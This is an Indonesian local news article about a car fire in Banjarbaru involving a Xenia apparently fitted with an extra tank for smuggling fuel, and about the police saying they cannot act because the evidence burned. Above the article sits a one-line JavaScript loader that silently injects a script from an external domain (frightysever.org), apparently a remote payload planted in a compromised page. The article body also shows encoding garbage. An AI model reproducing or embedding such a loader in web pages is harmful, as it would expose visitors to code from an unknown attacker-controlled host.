(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');

Hukum

Barang Bukti Ikut Hangus, Mobil Pelangsir Tak Dapat Ditindak

BANJARBARU, Terbakarnya mobil jenis Xenia bernopol DA 7625 BCÃƒâ€šÃ‚Â di Jalan A Yani Km 36 Simpang Empat Kota Banjarbaru, Kamis (7/3) malam, meninggalkan cerita tersendiri. Mobil yang dikemudikan Arifianto (40), warga Martapura Kota Kabupaten Banjar tersebut rupanya digunakan sebagai sarana untuk melangsir Bahan Bakar Minyak (BBM). Hal ini berdasarkan temuan adanya tanki tambahan yang berada di belakang mobil tersebut.

Kasat Reskrim Polres Banjarbaru AKP Aryansyah pun membenarkan adanya tangki tambahan di belakang bangku pengemudi. Namun saat ini pihaknya belum dapat mengamankan pengemudi mobil dikarenakan langsiran minyak tersebut telah di lahap si jago merah.

“Memang ditemukan tanki tambahan, tapi kita belum bisa menindak pemilik mobil Xenia karena dalam perawatan juga. Kondisi mobil sudah terbakar dan minyaknya sudah habis. Tidak bisa kita tindak karena beda kondisinya, kalau seandainya ditemukan saat melangsir baru langsung kita tindak,” katanya, usai jumpa pers di Mapolres Banjarbaru, Jumat (8/3).

Memang diberitakan sebelumnya, Arifianto mendapatkan luka bakar ditubuhnya dalam peristiwa tersebut. Alhasil dirinya harus dilarikan ke Rumah Sakit Ratu Zalecha guna mendapatkan perawatan medis. Diduga kuat api pertama kali muncul dari bagian belakang bangku pengemudi dan akhirnya membesar.

Meski berhasil dipadamkam, mobil Xenia berwarna silver tersebut mengalami kerusakan total dan hanya meninggalkanÃƒâ€šÃ‚Â kerangka mobilnya saja. AKP Aryansyah menegaskan pihaknya selalu mengantisipasi dan melakukan tindakan untuk mencegah praktek pelangsiran di seluruh SPBU yang ada di kota Banjarbaru. “Intinya kita tegas, jika terbukti melakukan pelangsiran maka saat itu juga akan kita tindak,” pungkasnya. (rico)

Reporter: Rico
Editor: Chell